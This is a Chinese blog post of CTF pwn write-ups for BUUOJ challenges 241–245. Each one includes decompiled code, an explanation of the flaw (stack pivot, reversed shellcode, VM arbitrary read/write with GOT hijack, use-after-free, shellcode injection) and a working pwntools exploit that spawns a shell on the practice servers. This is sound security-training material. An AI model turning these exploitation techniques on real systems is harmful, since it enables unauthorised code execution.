buuoj Pwn writeup 241-245

原创

yongbaoii 于 2021-08-31 08:10:22 发布 71 收藏

分类专栏： CTF 文章标签： 网络安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/119518653

241 [GKCTF 2021]checkin

```
RELRO           STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX enabled   No PIE       No RPATH   No RUNPATH   No Symbols     No      0              2            ./241
```

```
int sub_4018C7()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Please Sign-in");
  putchar(62);
  read(0, s1, 0x20uLL);
  puts("Please input u Pass");
  putchar(62);
  read(0, buf, 0x28uLL);
  if ( strncmp(s1, "admin", 5uLL) || (unsigned int)sub_401974(buf) )
  {
    puts("Oh no");
    exit(0);
  }
  puts("Sign-in Success");
  return puts("BaileGeBai");
}
```


逻辑也比较简单。

首先输入密码的时候可以有个溢出，但是只能溢出八个字节，就只能是做一个栈迁移。

然后有个检查，首先你的名字需要是admin，然后你的密码要走一个函数。
我们去看看那个函数。

```
__int64 __fastcall sub_401974(const char *a1)
{
  unsigned int v1; // eax
  char v3[96]; // [rsp+10h] [rbp-90h] BYREF
  __int64 v4[2]; // [rsp+70h] [rbp-30h]
  char v5[28]; // [rsp+80h] [rbp-20h] BYREF
  int i; // [rsp+9Ch] [rbp-4h]

  v4[0] = 0xA7A5577A292F2321LL;
  v4[1] = 0xC31F804A0E4A8943LL;
  sub_4007F6(v3);
  v1 = strlen(a1);
  sub_400842(v3, a1, v1);
  sub_400990(v3, v5);
  for ( i = 0; i <= 15; ++i )
  {
    if ( *((_BYTE *)v4 + i) != v5[i] )
      return 1LL;
  }
  return 0LL;
}
```


好像很复杂。

0x4007f6那个函数点开。

```
_DWORD *__fastcall sub_4007F6(_DWORD
{
  _DWORD *result; // rax

  *a1 = 0;
  a1[1] = 0;
  a1[2] = 0x67452301;
  a1[3] = 0xEFCDAB89;
  a1[4] = 0x98BADCFE;
  result = a1;
  a1[5] = 0x10325476;
  return result;
}
```


瞬间明白是一个md5.

所以逻辑很简单，我们输入的密码通过md5加密之后要跟v4吻合。

admin

32位大写	21232F297A57A5A743894A0E4A801FC3
32位小写	21232f297a57a5a743894a0e4a801fc3
16位大写	7A57A5A743894A0E
16位小写	7a57a5a743894a0e

我们发现密码admin的md5加密结果是那个。

所以就直接栈迁移就行。
栈迁移呢需要我们在bss上写东西，输入用户名可以做到，然后呢还需要我们先泄露一次libc，再返回回来再次做一次栈迁移，这个怎么做到？

因为我们只能在bss上写三个函数地址，我们三个只能刚刚泄露地址，所以要动点脑筋。

以往我们在用一些puts函数的时候，都是用的库函数，然后返回的时候去找返回值，那么我们这里长度不够，就用点其它的小技巧。

```
.text:00000000004018B5                call    _puts
.text:00000000004018BA                mov     eax, 0
.text:00000000004018BF                call    sub_4018C7
.text:00000000004018C4                nop
```

我们用程序里面的一小段程序，puts完之后，直接进入主函数，那么我们的要求就达到了。

exp

```python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level='debug'

r = remote("node4.buuoj.cn", "26331")
#r = process("./241")
elf = ELF("./241")
libc = ELF("./libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pop_rdi = 0x401ab3
puts = 0x4018B5
puts_got = 0x602028
name_addr = 0x602400

payload = "admin".ljust(8,'\x00')
payload += p64(pop_rdi) + p64(puts_got) + p64(puts)
r.sendafter(">", payload)

#gdb.attach(r)

payload = "admin\x00\x00\x00"+ p64(0) * 3 + p64(name_addr)
r.sendafter(">", payload)

libc_base = u64(r.recvuntil('\x7f')[-6:] + '\x00\x00' ) - libc.sym['puts']
print hex(libc_base)


payload = 'admin\x00\x00\x00'*3  +p64(0x4527a+libc_base)
r.sendafter(">", payload)

#gdb.attach(r)

payload = 'admin\x00\x00\x00'*4+ p64(0x602410)
r.sendafter(">", payload)

#payload 这里反复的去写admin是因为在调用过程中经常应为一些原因导致栈的数据被覆盖

r.interactive()
```

242 [BSidesCF 2019]RunitPlusPlus

```
RELRO          STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO  No canary found   NX enabled   No PIE       No RPATH   No RUNPATH   76 Symbols    No      0              2            ./242
```

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // eax
  int v5; // [esp-4h] [ebp-18h]
  unsigned int i; // [esp+0h] [ebp-14h]
  char *buf; // [esp+4h] [ebp-10h]
  ssize_t v8; // [esp+8h] [ebp-Ch]

  buf = (char *)mmap(0, 0x400u, 7, 34, 0, 0);
  alarm(0xAu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  puts("Send me stuff!!");
  v8 = read(0, buf, 0x400u);
  if ( v8 < 0 )
  {
    puts("Error reading!");
    exit(1);
  }
  for ( i = 0; v8 / 2 > i; ++i )
  {
    buf[i] ^= buf[v8 - i - 1];
    v3 = &buf[v8 - i - 1];
    *v3 ^= buf[i];
    buf[i] ^= *v3;
  }
  ((void (__stdcall *)(int, unsigned int, char *))buf)(v5, i, buf);
  return 0;
}
```


逻辑更简单，就是开了个空间，然后让你写入shellcode。
这个shellcode呢会进行一顿操作，你倒着操作回来就行了。

exp

```
from pwn import *

context(log_level='debug')


r=remote("node4.buuoj.cn",29401)

r.recv()
r.send(asm(shellcraft.sh())[::-1])

r.interactive()
```

243 ciscn_2019_qual_virtual

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols       Yes    0              3            ./243
```

```
s = (char *)malloc(0x20uLL);
v5 = sub_4013B4(64LL);
v6 = sub_4013B4(128LL);
v7 = sub_4013B4(64LL);
ptr = malloc(0x400uLL);
puts("Your program name:");
sub_401E14(s, 32LL);
puts("Your instruction:");
sub_401E14(ptr, 1024LL);
sub_40161D(v6, ptr);
puts("Your stack data:");
sub_401E14(ptr, 1024LL);
sub_40151A(v5, ptr);
if ( (unsigned int)sub_401967(v6, v5, v7) )
{
  puts("-------");
  puts(s);
  sub_4018CA(v5);
  puts("-------");
}
else
{
  puts("Your Program Crash :)");
}
free(ptr);
sub_401381(v6);
sub_401381(v5);
sub_401381(v7);
return 0LL;
```


申请了四个空间，第一个是用来放项目名称。
然后可以看得出来，有三个是跟指令有关系的，一个是指令。

下面那个函数可以执行指令，进去看看。

```
switch ( v6 )
{
  case 0x11LL:
    v5 = sub_401AAC(a3, a2);
    break;
  case 0x12LL:
    v5 = sub_401AF8(a3, a2);
    break;
  case 0x21LL:
    v5 = sub_401B44(a3, a2);
    break;
  case 0x22LL:
    v5 = sub_401BA5(a3, a2);
    break;
  case 0x23LL:
    v5 = sub_401C06(a3, a2);
    break;
  case 0x24LL:
    v5 = sub_401C68(a3, a2);
    break;
  case 0x31LL:
    v5 = sub_401CCE(a3, a2);
    break;
  case 0x32LL:
    v5 = sub_401D37(a3, a2);
    break;
  default:
    v5 = 0;
    break;
}
```


里面显然是一堆不同函数，其中a1是指令，a2，a3应该一个是数据跟操作空间吧。

```
    {
      ptr[v2] = 17LL;
    }
    else if ( !strcmp(s1, "pop") )
    {
      ptr[v2] = 18LL;
    }
    else if ( !strcmp(s1, "add") )
    {
      ptr[v2] = 33LL;
    }
    else if ( !strcmp(s1, "sub") )
    {
      ptr[v2] = 34LL;
    }
    else if ( !strcmp(s1, "mul") )
    {
      ptr[v2] = 35LL;
    }
    else if ( !strcmp(s1, "div") )
    {
      ptr[v2] = 36LL;
    }
    else if ( !strcmp(s1, "load") )
    {
      ptr[v2] = 49LL;
    }
    else if ( !strcmp(s1, "save") )
    {
      ptr[v2] = 50LL;
```


指令表在这里。

显然需要一个函数一个函数分析。

最后发现有一个任意写，有一个任意读，劫持got表就好。

```python
# -*- coding: utf-8 -*-
from pwn import *

r = remote("node4.buuoj.cn", 27532)

puts_got = 0x404020

r.recvuntil("name:")
r.sendline("/bin/sh\x00")

r.recvuntil("instruction:")

payload= 'push push load push sub div load push add '
payload+= 'push push load push sub div save '

r.sendline(payload)
r.recvuntil("data:")

payload = str(8)+' '
payload += str(-4)+' '
payload += str(puts_got+8)+' '
payload += str(-0x2a300)+' '
payload += str(8)+' '
payload += str(-5)+' '
payload += str(puts_got+8)+' '

r.sendline(payload)

r.interactive()
```

244 wdb_2018_2nd_Fgo

```
ELRO           STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
artial RELRO   Canary found      NX enabled   No PIE        No RPATH   No RUNPATH   88 Symbols    Yes     0              4            ./244
```

add

```
for ( i = 0; i <= 4; ++i )
{
  if ( !*(&servantlist + i) )
  {
    *(&servantlist + i) = malloc(8u);
    if ( !*(&servantlist + i) )
    {
      puts("Error");
      exit(-1);
    }
    *(_DWORD *)*(&servantlist + i) = print_servant_content;
    puts("the size of servant's name : ");
    read(0, buf, 8u);
    size = atoi(buf);
    v0 = (int)*(&servantlist + i);
    *(_DWORD *)(v0 + 4) = malloc(size);
    if ( !*((_DWORD *)*(&servantlist + i) + 1) )
    {
      puts("Error");
      exit(-1);
    }
    puts("ability : ");
    read(0, *((void **)*(&servantlist + i) + 1), size);
    puts("Success !");
    ++count;
    return __readgsdword(0x14u) ^ v5;
  }
}
}
```


双层结构，第一层第一个部分是print函数，第二个部分就是一个size随便大小的chunk。

free

```
unsigned int del_servant()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  puts("Index : ");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound");
    exit(0);
  }
  if ( *(&servantlist + v1) )
  {
    free(*((void **)*(&servantlist + v1) + 1));
    free(*(&servantlist + v1));
    puts("Success ");
  }
  return __readgsdword(0x14u) ^ v3;
}
```


显然是uaf

print

```
unsigned int print_servant()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    exit(0);
  }
  if ( *(&servantlist + v1) )
    (*(void (__cdecl **)(_DWORD))*(&servantlist + v1))(*(&servantlist + v1));
  return __readgsdword(0x14u) ^ v3;
}
```


输出。

就是利用uaf把printf那个函数换成system就可以了。

```
from pwn import *

context.log_level = "debug"

r = remote("node4.buuoj.cn", 25805)
#r = process("./244")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_i386/libc.so
.6")
libc = ELF("./32/libc-2.23.so")
elf = ELF("./244")

def add(size, content):
    r.sendlineafter("choice:\n", "1")
    r.sendlineafter("the size of servant's name : \n", str(size))
    r.sendafter("ability : \n", content)

def delete(index):
    r.sendlineafter("choice:\n", "2")
    r.sendlineafter("Index : \n", str(index))

def show(index):
    r.sendlineafter("choice:\n", "3")
    r.sendlineafter("Index :", str(index))

puts_got = elf.got['puts']

add(0x20, "aaaa") #0
add(0x20, "aaaa") #1
delete(0)
delete(1)
add(0x8, p32(0x8048956)) #2

show(0)


r.interactive()
```

245 jarvisoj_calc.exe

```
RELRO          STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO  Canary found      NX disabled  No PIE       No RPATH   No RUNPATH   No Symbols     Yes    0               5            ./245
```

没有开NX。

```
setvbuf(stderr, 0, 2, 0);
dword_804D0B0 = sub_804A803();
dword_804D0B4 = sub_804A7C3();
dword_804D0AC = sub_804A7C3();
v0 = sub_804A719("add", (int)sub_8049384);
sub_804A820(dword_804D0B0, "add", v0);
v1 = sub_804A719("sub", (int)sub_8049B5B);
sub_804A820(dword_804D0B0, "sub", v1);
v2 = sub_804A719("mul", (int)sub_80498E8);
sub_804A820(dword_804D0B0, "mul", v2);
v3 = sub_804A719("div", (int)sub_8049CC7);
sub_804A820(dword_804D0B0, "div", v3);
v4 = sub_804A719("mod", (int)sub_8049E6A);
sub_804A820(dword_804D0B0, "mod", v4);
v5 = sub_804A719("not", (int)sub_804A00F);
sub_804A820(dword_804D0B0, "not", v5);
v6 = sub_804A719("int", (int)sub_804972E);
sub_804A820(dword_804D0B0, "int", v6);
v7 = sub_804A719("exit", (int)sub_804A562);
sub_804A820(dword_804D0B0, "exit", v7);
v8 = sub_804A719("equals", (int)sub_804A29C);
sub_804A820(dword_804D0B0, "equals", v8);
v9 = sub_804A719("type", (int)sub_804A4F8);
sub_804A820(dword_804D0B0, "type", v9);
v10 = sub_804A719("len", (int)sub_804A1E2);
sub_804A820(dword_804D0B0, "len", v10);
```


好家伙。

```
while ( 1 )
{
  memset(s, 0, sizeof(s));
  printf("> ");
  if ( !fgets(s, 256, stdin) )
    break;
  v11 = strrchr(s, 10);
  if ( v11 )
    *v11 = 0;
  sub_8048BC1(s);
}
exit(0);
```


只能说结构简单。

看看
看看看

var能够替换功能，把add直接换成shellcode。

tnnd。

exp

```python
from pwn import *

shellcode = asm(shellcraft.sh())

r = remote('node4.buuoj.cn', 26397)

r.sendline('var add = "'+shellcode+'"')
r.sendline('+')

r.interactive()
```